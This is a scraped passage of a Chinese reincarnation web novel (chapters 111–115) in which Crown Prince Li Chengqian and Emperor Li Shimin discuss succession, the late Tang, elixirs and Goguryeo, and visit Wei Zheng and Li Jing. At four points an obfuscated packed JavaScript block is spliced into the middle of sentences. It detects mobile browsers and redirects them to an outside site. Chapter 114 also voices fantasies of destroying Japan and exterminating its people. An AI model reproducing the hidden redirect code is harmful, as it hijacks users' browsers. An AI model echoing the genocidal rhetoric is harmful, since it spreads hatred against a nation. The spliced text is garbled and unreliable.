李道宗道:“上次去东宫,东宫种了许多的菜,想不到太子殿下有此雅兴。” 封建社会重农,看待太子种菜,他和皇帝关系不好,是他不务正业,他和皇帝关系好,那就是一种**上的声望。 李道宗是宗亲,也是皇帝近臣,李承乾明白了,皇帝要给他刷声望。 “之前闲赋在东宫,找点儿事情打发时间,草盛菜苗稀,让礼部尚书见笑了。” 房玄龄道:“殿下不必自谦,臣上次同陛下去东宫,殿下种的菜比宫外的老百姓还要好。” 李世民笑道:“往年籍田礼,朕亲耕,太子只是扶犁。今年朕亲耕过后,朕那一亩三分地交给太子来看管,今年秋收朕与诸卿共享朕与太子种的粮食。太子,你意下如何?” 皇帝的一亩三分地代表社稷,邀请他同耕同种,共同看管,代表什么不言而喻,不过古人做事讲究,要三辞三让。 “臣菜种的一般,地估计种不好,怕坏了陛下心血。” 李世民很满意李承乾的进步,道:“就是怕你种不好,朕才要教你,太子不必推辞。” 李承乾道:“臣才疏学浅,怕种不好,让陛下烦心。” 李世民道:“种不好无事,可以学,不会种可不行。” 两辞过后,事不过三,李承乾起身出列,向皇帝拜下,道:“蒙陛下不弃,臣拜谢陛下。” 李世民点点头,道:“你恩师卧病,下了朝太子与朕一同去探望。” 李承乾应声再次拜谢,归位落座,一直到早朝结束,众大臣退出殿外。 “你性子闷得很,菜种的着实不错,有个喜好不至于把你闷坏了。” 李承乾道:“我不喜欢种菜,我爸妈喜欢,睹物思人,聊以慰藉。” 李世民:…… “说正事,东宫的确不能只一个太子妃,大臣上疏你必须要考虑,姻亲关联**,你应该明白这其中的道理。” 第111章 晚唐怎么样 “陛下,臣对男女之事寡淡。” 六道轮回,性别随机,李承乾觉得他没有变态,没有性冷淡心理素质已经很强大了。 李世民叹气,这小子姓李又不姓刘,怎么有这个癖好。 “那个称心朕可以给你,玩儿可以,藏好一些,别闹的沸沸扬扬。” 提到之前的黑历史,李承乾不觉老脸一红,道:“陛下,臣对男的也不没兴趣,真的。” 李世民道:“朕不介意你小小的胡闹,就是闹出来,朕也会替你遮掩的。” 李承乾内心很无语,这黑历史他是过不去了吗?他和称心能睡一张床上去,得益于称心察言观色的本事,能直击他心中的苦闷,那就是特定时间段,特定条件下的解语花。离开了那个条件和时间,什么都不是。 “陛下,无论是女的还是男的,臣都不喜欢,您就不要瞎操心了。” 李世民道:“大族儿郎的婚姻,没什么太过纯粹的情意,朕同你母亲鹣鲽情深,也不影响纳妃。你是太子,你的姻亲将来就是你在前朝的助力。” 曾经的他,也是这样的,主院红旗不倒,侧院彩旗飘飘。身处当下特定的环境,他应该按照现下的生存法则去生存,可一想到他点头同意之后,天天要去照顾这群媳妇,就觉得头疼了。 “陛下,要不缓两年,臣想把字典编出来之后,把要做的火器做完,事情忙完了再说。” 李世民道:“那就缓两年,但此事你推脱不掉,只是迟早问题。” 李承乾揉着鬓角,缓两年也好。 “天祐,这个年号有问题吗?” 李承乾道:“陛下上朝能不能别老盯着臣看?” 李世民道:“你身后坐着的是萧瑀,真说一句他顶一句,朕看的是萧瑀,你只是附带的,自作多情什么呢你?” 李承乾道:“陛下确定要知道?” 李世民道:“说!” “天祐,大唐的最后一个年号!” 李世民:…… “大唐国祚几何?” 李承乾沉默片刻,问道:“您的预期是多少年?” 李世民道:“这是朕能决定的吗?” 李承乾道:“看看您的预期,臣想想该不该说,怕您接受不了。” 李世民道:“大周有八百年基业,大唐有个六百或者四百年不过分吧?” 李承乾低头不语,位面之子二造大汉,大汉国运也才四百年。 “陛下,要不聊些其他的吧!” 那就是没有四百年了,李世民很是失望,他的子孙就那么不成器吗? “之前听你说过,晚唐广州遍地大食人,垄断商贸,蓄养府兵,干涉地方司法,残杀大唐百姓。看样子,晚唐很差。” 李承乾道:“您就别问了,臣怕您血压上来了。” 李世民深吸一口气,李承乾这欲言又止的样子,晚唐得差成什么样子? “你不用全说,就说晚唐皇帝怎么样?” 李承乾道:“宪宗和宣宗,晚唐皇帝比较出色的,暂时稳住了王朝败落的势头。” 李世民嘴角微微上扬,大唐也有自己的中兴之主。 “这两个人都喜欢吃丹药,**英年早逝了。他们逝世后,大唐颓势一发不可收拾。” 李世民笑容僵住,旋即在片刻之间消失,冷哼道:“这群子孙,真是太不成器了,好好的吃什么丹药?” 李承乾道:“陛下,您晚年也吃丹药。高士廉去世,您去吊唁,舅父拦着您不让您进去,理由就是您服用丹药,不能大喜大悲。” 李世民:…… “这些你可以不用说。” 李承乾道:“臣记得您提到过丹药,您现在没吃吧?您可别听那些术士胡说八道,丹药不能长生不老,只会让人慢性**,加速死亡。” 李世民气急,他之前头痛欲裂,吃过两颗缓解头痛。 “那你怎么不早说,那个时候,你是巴不得朕早些**吗?” 李承乾道:“史书只记载您晚年吃丹药,还敢吃印度人的丹药,没想到您这会儿就有这个癖好了,臣可说了让您别吃。那个时候你我父子可没挑明事情,您要是逼问臣怎么知道丹药有毒,臣解释不清得被您怀疑要弑君。唐朝人吃丹药,历史上是出了名的。中唐有位文学大家,还专门写文章批驳此事,结果最后他自己也吃丹药没了。” 李世民:…… “印度人?有印度这个国家?” 李承乾道:“就是现在的天竺,这个国家现在怎么样臣不了解,在臣所在的后世,那是如雷贯耳。” 李世民道:“听你这么说,这个国家很是强大,不然也不会如雷贯耳。” 说到这里,李承乾忍不住吐槽:“全世界最大的茅坑,身体不好的人过去了,吸一口气都要上吐下泻到怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415643|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑人生的。” 李世民:…… “谁给朕献的药?” 李承乾道:“您往后不吃就可以了,没必要**吧?” 李世民道:“朕就想知道,是哪个蠢货献的药。” 李承乾低头,他不可能把王玄策卖了就行。 “陛下往后不吃了,也就没人献药了。” 李世民道:“你这么护着这个人,他跟你关系很不错?” “冤枉!”李承乾直接服了皇帝脑回路,道:“臣和他就几面之缘,臣只是觉得他尚未向陛下献药,不能让他为那些还没发生过的事情受罚。若是他现在犯错,陛下要处置,臣绝对不发一言。陛下,上位者权力的小小任性,对臣属和百姓都是灭顶之灾,权力不能被滥用。谁给您献药,臣是一个字不能说。” “身为君上,不能因为任性就乱用权力,要谨慎的行使权力。能说出这样的话,承乾,你真的让为父很是欣慰。” 以及轮回过往,李承乾叹道:“陛下,臣也曾被权力**,家破人亡,感同身受,怎会不知这其中的辛苦?” “大唐到了后面,真的那么差吗?” 李承乾道:“陛下,这可是甘露殿,您要是被气的头风病犯了,臣就说不清了。” 李世民道:“朕恕你无罪。” 李承乾摇头,以皇帝眼下对他的纵容,他就是把皇帝气昏过去,皇帝也不会治罪他。 “你到底说不说?” 李承乾态度坚决,不说,整天抢救人他也很烦。万一抢救不回来,他麻烦就大了。 “你上次打象儿是为什么?” 李承乾一愣,皇帝话题转换速度真够快的。 “臣告诫过他,不许他忤逆陛下,陛下让他去取功课,他等着臣的眼色,臣就罚了他五记戒尺,臣下手有分寸,没伤着他。” 李世民道:“难得,你没教他恨朕。” 李承乾心梗,要不是用膳过后要同皇帝出宫探病魏征,他是一刻都不想在这里待了。 “陛下,您和臣的恩怨,同下一代没有关系,臣就是再缺德,也不会祸害自己儿孙,给他们灌输仇恨的思想,让他们在仇恨中长大。” 哪怕告诉李象过往,涉及自己谋反,他也只说自己胡作非为,鬼迷心窍,丝毫没提皇帝和李泰。 “你说的晚唐,到底差成什么样?” 李承乾:…… 第112章 探病 李承乾深吸一口气,道:“血压极速升高容易**,您要是被气的当场驾崩,那臣就是弑君弑父。” 李世民轻笑不语,方才丹药的事情,李承乾下意识说得就是他们父子,现在又说不敢弑君弑父。 李承乾早年也是万千宠爱堆出来的,嫡长的出身,帝国的太子,在没有疯掉之前父母认可,朝野称颂。 李世民看着自己这个长子,他知道,李承乾的骄傲不会允许自己低头的,就像他当年高过李建成,也不甘心向李建成称臣,他们父子这辈子也就这样了。 李承乾被废黜,他选定的太子,李治若有他的能力稳压李承乾,李承乾会服气,可李治不能稳压没有疯掉的李承乾,李承乾不会服气的。 自己被孔颖达等人无中生有**,被他不知内情的申饬过,李承乾会怜惜同样被**李恪和李祐,知道权万纪卖直沽名,李承乾会回护李恪和李祐。 “承乾,来时路的艰辛,朕希望永远记住。” 皇帝的脑回路就是跳脱,这话说的没头没尾,搞得他一头雾水。 “臣回来就是一瞬间的事情,谈不上艰辛。” 李世民笑了笑,李承乾没听懂他言外之意,不过不重要,同李治装出来的仁孝不一样,李承乾是真的仁孝,他千秋万代之后,不用担心李承乾会同室操戈。 李治上元节过后迁出甘露殿,再有四年就直接送去封地。李泰着实难办,他抬起李泰容易,压下去不容易,没有个名正言顺的理由,不好取消李泰身上的逾制封赏。 张阿难进来摆膳,李承乾暗道总算熬出头了,吃完了赶紧去探病。 没挑破事情之前,李承乾还会装模作样布膳,真相接开,李承乾直接不装了,落座之后,皇帝一动筷子他就开吃。 “你之前还守规矩布膳,现在装都不装一下吗?” 李承乾看向皇帝,当他傻吗?他敢装,皇帝就绝对会让他伺候。 “您可是吃丹药的人,万一布膳吃坏了,臣该怎么自证清白呢?” 李世民道:“好好的孩子,长了个嘴巴。” 李承乾道:“倘或成了哑巴,倒是臣的福气,皇家不会允许哑巴的存在,在襁褓之中被扼杀,没有那么深的执念,也就不用受这千年轮回之苦。” “轮回记忆不改,也是长生了。” 李承乾道:“轮回具有随机性,这一世的太子,下一世可能降生在乞丐窝,也可能一睁开眼就被活生生掐死,云泥的落差,这种长生会让人疯的。” 李世民手上夹菜的动作一顿,心口传来一阵阵的抽痛,他的孩子到底吃了多少苦。话题沉重,父子两个都没说话,严格遵守食不言寝不语的规矩。 一场风寒,魏征卧病在家,魏叔玉榻前侍疾,李世民与太子前来探病,魏征被魏叔玉扶着起身,又被李世民摁下。 “听说你病了,朕和太子过来看看你。” 魏征嗓音沙哑,向李世民和李承乾道谢:“多谢陛下和太子挂怀。” 李世民道:“你可要好生养着身体,朕盼着你早日去上朝,没你在朝上,朕总觉得冷清。” 李承乾道:“郎中来看过是怎么说得?” 魏叔玉道:“原本只是是头痛,郎中开了药父亲嫌苦,药吃两口偷偷倒一碗,病情这才……” 皇帝还在这里,揭他的老底,魏征一巴掌抡过去,魏叔玉下意识躲开了,暗道好险。 一直以为魏征古板,私下里必定严肃,李承乾默默向魏征道歉,敢当着老爹的死对头吐槽老爹,魏征私下有多宠溺魏叔玉可见一斑。 “你个逆子!” 魏叔玉撇撇嘴巴,哼了一声,要不是皇帝在这里,他肯定要回一句:逆子也是老逆子生的。 “陛下,您可管管父亲,他每次生病都这样,药吃两口偷偷倒一碗,一吃药唉声叹气,腰酸背痛,哪哪儿都不舒服,臣和阿娘一个不注意他就倒药。” 李世民看着魏征,眼神玩味。 半辈子的老脸,被儿子丢了个干净,魏征恨不能原地找个洞钻了。 李承乾端起魏征的药,尝了一口,道:“还行,不太苦,能适当改良。叔玉,你把药方子给我,我看能不能做成丸药,夹进点心里头,保证比这东西好进嘴。” 魏征感动落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416516|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泪,道:“老臣只做了殿下几日的师傅,能得殿下这般厚待,老臣……” “师傅,您可别哭,我最怕人哭了。” 家里的皇帝老爹就是哭包,已经很难应付了,再添一个爱哭的老师,夭寿了! 魏征擦了眼泪,道:“陛下有子如此,不似臣生了这么个逆子,天天就想着把臣往死气。” 李世民&魏叔玉:…… “玄成,你无事就好,朕和太子还要去卫国公府上,就不多逗留了,你好生养病。” 李世民拔腿就走,李承乾见状也只能同魏征告辞,问魏叔玉要了方子,跟着皇帝一起出门上马车。 “把苦药汁子变成丸药,做成点心,你还有这个本事?” 李承乾低头看方子,没注意到皇帝的脸色,道:“也不是所有的药都可以做成点心,师傅这个方子可以,臣回去指导小厨房做。” “人家汉文帝为母尝药,承乾为师尝药。” 李承乾道:“阿娘病重,臣侍疾时,也为阿娘尝过药,臣也尝试把阿娘的药做成点心,可其中两味药特殊,臣不敢冒险。可惜臣回来的太迟,阿娘的气疾已经无力回天了,一身医术救不了至亲之人,也是一种莫大的讽刺了。” “魏征这田舍郎,命倒是挺好,病榻前有人挂心。” 李承乾道:“您老人家卧病的时候,肯定也有人争着给您尝药。” 李世民道:“朕不相信你会给朕尝药。” 李承乾笑道:“陛下看人真准,您也没让臣侍过疾,理解,病重谁愿意见不待见的人。您放心,青雀和雉奴肯定会为您尝药的,臣特别有自知之明,绝不碍您的眼。” 不提这茬还好,一提这茬李世民火气蹭蹭的涨,李泰给他侍疾药没吃完,来了句立弟杀子,李治给他侍疾,巴不得他吃完药睡下跟那个武才人勾搭。 “听说师傅府里养了寅将军,不知道摸起来的手感跟猫比起来怎么样?” 李世民看了眼李承乾,喜欢养老虎? “就你这小胳膊小腿,都不够人家一顿饱饭,还去招惹兽王,真是不知道自己斤两。” 第113章 李靖 李靖对儿子没什么大的要求,他自己军功卓著,又不是皇帝从龙之臣,算不上皇帝心腹。 不站队也是得罪人的,皇帝能容得下他,是因为皇帝有那个实力。 太子其人不太了解,但李德謇在东宫崇贤馆任职,据他套李德謇的话,太子若能顺利登基,也能容下他,若不能…… 基于这个考虑,李靖觉得,他的儿子完全可以吃他的军功,不需要延续他的荣耀。更何况,他儿子也没那个天分。 午后,李靖多在正厅撸虎,红拂为他篦发。 仆从急匆匆禀报,皇帝带着太子前来拜访。 来的让人猝不及防,李靖匆忙挽了头发,吩咐下人召集府中众人接驾。 李世民大步上前,扶起李靖,十分热络的拉着李靖往正厅去。 李承乾感慨不已,皇帝真是社牛体质,不知道的还以为这是皇帝的家。 宾主落座,李承乾这才学生的身份向李靖拜了一拜。 李世民道:“吐谷浑战事结束之后,李公就一直赋闲居家。魏征病了,朕去探望魏征,顺路过来坐坐。” 李承乾目光锁在了正厅内老虎身上,当年逛动物园,可远观不可亵玩,就问是个人,能拒绝撸老虎吗? 皇帝来的太急,没时间把老虎牵去后院,李靖道:“让陛下见笑了,臣就这点小癖好。” 李世民看了眼李承乾,兔崽子眼睛直勾勾的盯着老虎,眼底闪着跃跃欲试的精光。 李靖顺着李世民的目光看过去,心下明了,起身走过去,半蹲着身子,一把握住老虎后颈。 “它性格极好的,殿下摸摸它呗!” 有这等福利,肯定不能放过,李承乾三步并作两步上前,顺着老虎的脊背撸下去。 老实说,手感不及大橘猫,差远了! “师傅,我可以摸摸它的肚子吗?” 李靖点点头,养了这么多年的老虎,大多数人都是敬而远之,连李德謇不怎么愿意亲近他的老虎,甚少有人一见面就想摸他的老虎。 得了允许,李承乾手放在老虎的肚皮上顺**撸了下去,手感也不太好,还是不及橘猫,不过,这可是老虎,能撸老虎可遇不可求。 手感不好不影响撸老虎,不过六七十的老人家一直这么蹲着,李承乾于心不忍,起身谢过李靖归座。 李靖松开老虎,道:“臣那不成器的儿子在崇贤馆混日子,还要多谢殿下照看。” 李承乾道:“我不在崇贤馆,多亏了李郎君帮忙,是我该谢李郎君。” 李德謇同他私交不错,他谋反的时候,哪怕李德謇没有参与,也因同他有私交被流放,说到此事,李承乾还是挺惭愧的。 “太子殿下就不用夸他了,字都认不全几个,他能帮什么忙。” 李承乾道:“师傅,我真没夸他。” 李靖一副我自己儿子我了解的表情,谢过李承乾的夸赞。 这个表情,李承乾有些心疼李德謇,理解了李德謇为什么怀疑老虎才是李靖亲生的。 李世民道:“朕今日来是有事相托,李世绩在朝中领职,抽不出空闲,李公赋闲,得了空教导太子兵法,传他些拳脚功夫。” 李承乾内心发出尖锐的爆鸣,大唐军神亲自传他兵法,教他拳脚功夫,试问几个男的能抵挡这种诱惑? “武德一朝,陛下受封天策上将,平定北方,战功赫赫,胜过臣百倍,陛下何不亲自传授太子殿下兵法和拳脚功夫?” 皇帝给他当师父,李承乾听得嘴巴发苦,他怕被皇帝当成沙袋打。 李世民笑笑,一来,李靖此前被天策府旧臣污蔑过谋反,又被萧瑀**过,这是怕了,想要避嫌。 二来,太子若能得到他亲自教导,能巩固太子的地位,也能进一步消融投靠李泰的那部分势力。 李德謇,李世民想起来,李承乾谋逆案,就牵扯到了同李承乾私交甚好的李德謇,李德謇敢结交李承乾,必然是经过李靖点头的。 李世民不着痕迹看了一眼李承乾,李靖可是眼高于顶,李承乾能入李靖的眼,从前他是真把这小兔崽子给小瞧了。 “朕也想教,不过就太子这小胳膊小腿,朕想想还是觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416517|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得算了,三两招教的朕不耐烦,就直接上脚踹了,踹坏了,朕到了地底下,没法跟皇后交代。” 李靖表示理解,特别理解,他有李德謇时,还没有功高震主,也曾想着儿子继承他的衣钵,亲身试教,结果就是,他被气的胃疼,李德謇被打的哇哇大哭。 “这本就是臣分内之事,是臣疏懒让陛下跑这一趟,陛下放心,往后太子休沐,臣必定拜访东宫。” 李承乾石化原地,占用的是他的休息日。 事情了结,李世民说了些客套话过后,就起身告辞,李承乾拜别李靖,跟着皇帝上了回宫的马车。 “你喜欢寅将军,朕养一只,你可以时常去看。” 李承乾道:“臣只是好奇,摸一摸过一把瘾,养就算了。” “寅将军有什么好摸的?” 李承乾道:“臣原来那个时代,老虎只能在动物园看到,只能看不能摸,好奇。” 李世民道:“你轮回可不止那一世?” 李承乾道:“但没摸过寅将军啊!” 李世民不理解,老虎有什么好摸的。 “那你还喜欢什么猛兽,想要摸的?狼你喜欢吗?” 李承乾道:“臣摸过狼,臣有个大学同学是内蒙的,大学暑假去内蒙旅游,正好去他家蹭饭,他和他爸妈家救治一只受伤的草原狼。” “内蒙在哪里?是我大唐境内哪个地方?” 李承乾道:“突厥境内,不过现在已经归了大唐了。” “狼这种危险的猛兽,看见了不都射杀吗?为什么要救?” 李承乾道:“国家立法保护的二级动物,杀了是要吃牢饭的。” 李世民表示不理解,不懂后人怎么想的,杀一头狼还要吃牢饭! “你之前谈起吐蕃自然地理,应该不是跟陆德明了解的吧?” 李承乾笑道:“陛下圣明,臣高一国庆节七天假,爸妈带我出去旅游,去的就是现在的吐蕃。” 李世民道:“高句丽去过吗?” 李承乾轻笑,洲长对打高句丽的执着。 第114章 国仇家恨 李承乾很理解李世民对高句丽的执着,广袤肥沃的黑土地,相对严寒恶劣的自然条件,孕育剽悍的民众,不早些收拾迟早是中原大患。 朱明王朝打了半个世纪,最后功败垂成。高句丽和突厥,隋朝就开始打,隋唐初期,多次大规模对外战争,都和这两个国家有关。 “承乾,阿耶问你的是大事,你要是去过一定要告诉阿耶。高句丽同吐谷浑、高昌这种乌合之众不一样,其威胁不亚于北边的突厥,西边的吐蕃,朕不会把高句丽和突厥这个祸害留给后世儿孙,就是打不死他,也得把他打残了。” 李承乾道:“去过,臣不仅去过,还能手绘当地舆图。” 李世民狂喜,激动的握住李承乾胳膊,道:“承乾,此话当真?” 胳膊上的胀痛袭来,李承乾忙道:“松开,松开,我不是你的巨阙天弓。” 李世民赶忙抽回手,李承乾直接往外侧挪,道:“陛下,掐臣脖子都行,没事不要抓臣的手腕和胳膊,臣可不想在残废一次。” “谁要你跟琉璃似的,脆的不行偏喜欢跟人来硬的,朕要不是你阿耶,就凭你那没眼看的打法敢和朕动手,你坟头草现在比树高。” 李承乾:…… “你怎么会这么上心高句丽?” 李承乾哈哈一笑,道:“陛下晚年发兵高句丽,没完成灭国的目标,加上唐军损失过大,陛下觉得自己吃了败仗,归途心情郁郁,能把陛下打郁郁的仗,臣特别感兴趣。” 李世民嘴角抽了抽,兔崽子,真欠啊! “所以,只要有机会臣就会查阅相关史料。不过可惜,能查阅到的资料太少了。一直到臣轮回的最后一世,中学接触地理学科,再次涉及到高句丽地区,臣所在的那个时代叫东北地区,上网一搜整个东北地区地形地势一目了然。臣再次翻阅史料,查看陛下当年打过的城池,绘图分析高句丽为什么能躲过灭国之祸。” 李世民笑而不语,小兔崽子或有看他笑话的意思,可若不在乎,谁会去翻旧账。 “为此我爸妈还误会了,以为我是喜欢东北,那一年暑假放假,我妈直接带我去东北玩儿了一个来月,后续又多次带我去东北旅游。” 李世民冷哼一声,道:“整天就知道玩,你玩物丧志也就罢了,那个小吏和教书先生一把年纪也没个正形,只一味纵容你。” 又在这里嘲讽他爸妈,李承乾邪火直窜,道:“从七岁入学开始,十八年学习生涯,臣一直都是师长和家父家母的骄傲,认识家父家母的人提起臣,都只有羡慕家父家母的份儿。实在是抱歉,让陛下失望了,臣没有玩物丧志。不过,也不用抱歉,臣在贞观朝确实玩物丧志,还成了个疯子,陛下没有失望。” 李世民两鬓突突的疼,大脑熟悉的轰鸣感,李承乾这个逆子,是知道怎么诛心他的。 “不想挨打就给朕闭嘴!” 李承乾合上眸子养神,闭嘴就闭嘴,本来就不想说话,是皇帝一直逮着他问东问西。 少时,马车经过闹市,自市坊界限打破,长安繁华更胜从前,李承乾掀开帘子往外去看,想到家里的老婆孩子,出来一趟给妻儿带点儿东西回去。 “陛下带钱了吗?借臣一些。” 李世民道:“你想干什么?” 李承乾道:“外头小玩意儿挺多,难得出来一趟,给太子妃和象儿带些回去。臣没带钱,陛下借臣一点,有借有还。” “出来探病,谁会带钱?” 李世民敲了敲马车,张阿难小跑上前伺候。 “阿难,出门带钱了吗?” 张阿难道:“没带!” 闻言,李世民挥挥手,张阿难识趣的退下。 “陛下,这马车不隔音,咱们说这么多,张翁离得远听不到,赶车的人也听不到吗?” 李世民道:“所以,你猜一下,他为什么叫哑奴?不用问,他也不识字!” “那今天是买不成了。” 李承乾一抬头,看李世民额间冷汗直冒,心下明了,皇帝被他刺激的头风病犯了,这会子害头疼。 “要不,臣给您按按?能缓解些许。” 李世民睁开眼睛,看着李承乾道:“那你坐那么远干嘛?” “臣再强调一遍,臣不是您的巨阙天弓。” 李世民:…… 李承乾挪了过去,李世民侧过身,背对李承乾。 “陛下,您可千万要活得久一些,不仅那个高句丽要打,日本也要往死里打,最好直接灭国屠城。” 李世民道:“日本又是哪个国家?跟倭寇一样,同华夏有世仇?” 李承乾道:“倭寇就是日本,现在叫倭国,女帝篡唐之后,倭寇过来朝拜吹捧了一番,请求改国名,女帝赐名日本,意为太阳的根源。” “看你恨日本,恨得这个样子,朕都怕你哪天想不开弑君弑父。” 李承乾道:“这不一样,咱们之间顶多是父子不和,臣最大的恶意就是送您去做太上皇。日本于我华夏,那是几乎亡我华夏的**灭种之恨,国恨家仇,臣没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15422693|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回来之前,只恨自己是活物,恨不能化作东风快递,直接飞日本,一头扎富士山里去。” 送他去做太上皇? 李世民轻蔑一笑,小兔崽子对他的实力没点儿数。不过,自他们父子事情挑明之后,李承乾一改往日沉闷,骄傲自信、开朗明媚、谦逊有礼,这才是他记忆里贞观十年前的李承乾。 “东风快递又是什么东西?更厉害的武器吗?” 李承乾顿了顿,洲长真会抓重点。 “后世绝对的高科技武器,一次发射,可以灭一国的杀器,我华夏之外很多地方战乱不断,唯我华夏国内安定,百姓不受战争之苦,东风当居首功。” 绝对的高科技武器,李承乾弄不出来,李世民也没有继续问。 “孔颖达,到底是做过你老师,还是孔圣人之后,等你嫡长子降世,你上疏朕赦免孔颖达,朕下诏召他回京。” 皇帝要给他刷名声,李承乾明白。 “陛下您想赦免,臣不过问,但要臣上疏请求赦免,那是不可能的。” 李世民道:“理由!” 李承乾道:“陛下猜一猜于志宁、杜正伦、孔颖达、张玄素几个,臣只对孔颖达重拳出击?” “为什么?” 李承乾道:“张玄素刚直,他骂过臣,那时臣的功课的确差强人意,不算无事生非,臣放下太子的架子,以学生的身份哄哄他,他的**也就顺了。于志宁和杜正伦、孔颖达骂臣,是想学魏征,学的又不像,在那里无事生非。臣之所以逮着孔颖达立威,主要是恶心孔家人。倭寇侵华,他孔家后人以忠孝立世,却去恭迎贼寇,这种软骨头,提起来都晦气,看一眼恶心。” 李世民是听明白了,日本这个国家,李承乾恨不能直接让其灰飞烟灭。 理解,就像渭水之盟,大唐的尊严被颉利踩在脚下,直接成了他心里的刺,直到灭了突厥,擒了颉利到长安,他这口恶气才散了。 李承乾在后世接受到的教导和当下不一样,以朝代为本位的思想,换成了以国家和民族为本位,加上李承乾轮回过程中,参与过对日战争,眼睁睁看着国土沦丧。 前隋打高句丽失败了,高句丽弄得京观他只是听说没见过,这他都忍不了,遑论看着**岁的娃娃上战场,三千多万国人被残杀,这种绝望、耻辱、仇恨不可想象。 他李世民在后世为帝,经历过这一切,国家强大的第一件事,先送百十颗东风给日本,还要训练一批**,满天下追杀,把这个国家的人直接杀绝。 第115章 洗脑 “看样子,后世华夏,你去的地方不少,有哪些地方是你没去过的?” 李承乾道:“九百六十万平方公顷的土地,臣哪有那个本事走遍每一寸国土。” “回过长安吗?” 李承乾愣了良久,摇摇头道:“没有,除了被迫降生长安,降生其他地方,臣从未踏足过长安。” “没想过回去看看你母亲?” 李承乾道:“承乾让母亲失望了,不敢去见母亲。” “可你母亲,他最挂念的就是你。” 李承乾道:“臣被废黜之后,象儿大一些同臣被囚禁在内侍省,太子妃和五岁的厥儿被关在掖庭。宫人送来的吃食不够,臣那时看着幼子,方生出后悔的意思,或许等到陛下废臣,不至于连累妻儿,可为时已晚,臣只能尽臣所能护他些许。后来臣被流放黔州,九月从长安出发,十一月死在黔州,死前臣看到了母亲,不停的喊母亲。象儿和厥儿、太子妃在榻前守着,象儿记住了臣临终的遗愿。或许是在内侍省那几个月,臣对他的照顾。他一生都在为臣的遗愿活着,李治和武后一朝,大肆**宗室,他不敢冒头,只能等待机会,尽力教导儿子。很多年后,李唐神器复位,象儿的儿子以宗室身份入仕,在河南治水有功,被拔擢到京师,一路高升至宰相,以他的功劳替臣求得了迁葬的许可,臣得以陪葬昭陵,陪在母亲身边。承乾已经回到了长安,回到了母亲身边,转世之后的孤魂野鬼,无颜去见母亲,何况很多时候臣也回不去长安?象儿他于臣而言,是不一样的。臣若早回来两年,一定不会迎娶太子妃,她嫁给任何人,都会比嫁给臣好,象儿也会是臣唯一的孩子。” 话题沉重,李世民心下无言,沉默半晌,道:“等象儿成亲封王,朕封他为秦王,封地定在咸阳,离京师近,你们父子也能常见。” 李承乾吓得脑袋轰隆作响,道:“秦王,这个爵位在大唐的地位,陛下这哪里是封赏,是要象儿的命。” 李世民叹气道:“罢了,到时候他的封号和封邑你自己定。” 李承乾道:“象儿这两天看算学的书很是入迷,也不知进度如何,天色还早,臣回去查一查他的进度,顺道整理房遗直他们今天找出来的字。” “你真不打算让象儿学经邦治国之道。” 李承乾道:“象儿的天分在算学上,他喜欢算学,诗书之道上,他不做个睁眼瞎就行了。” 李世民道:“象儿的功课,算不上有天分,却也是个可造之材。” 李承乾道:“臣尊重孩子的意愿。” “他若想登临至尊之位呢?你也尊重他的意愿?” 李承乾道:“尊重他的意愿,是臣不会强迫他按照臣的意愿做事情,不是无条件满足他不切实际的空想。象儿十五封王,臣就送他出长安,不会让他有机会生出那个野心。” “承乾,你会舍不得的。” 李承乾道:“舍不得,也要送走他。留下他,才是要了他的命。” 李世民点点头,道:“你自己拎清楚就行,对了,高句丽的舆图,你什么时候能给朕。” “臣提前说好,臣只能画出大致的山脉和主要河流分布,您自己遣暗探去勘测正误,一千多年变得太多了,连黄河都能改道数次,臣可不敢保证太多。” 李世民道:“问题不大,宫中有前隋的高句丽的舆图,可以做比较。” “陛下要打高句丽,不提前遣暗探卧底勘察吗?” 李世民道:“这还用得着你提醒?朕前后派了三批,统共一百二十人,回来的寥寥无几,高句丽关口防的极严。不过地形地势,愚公移山朕也只是在书上见过,难不成真有人闲着没事去搬山,改变地形地势?” 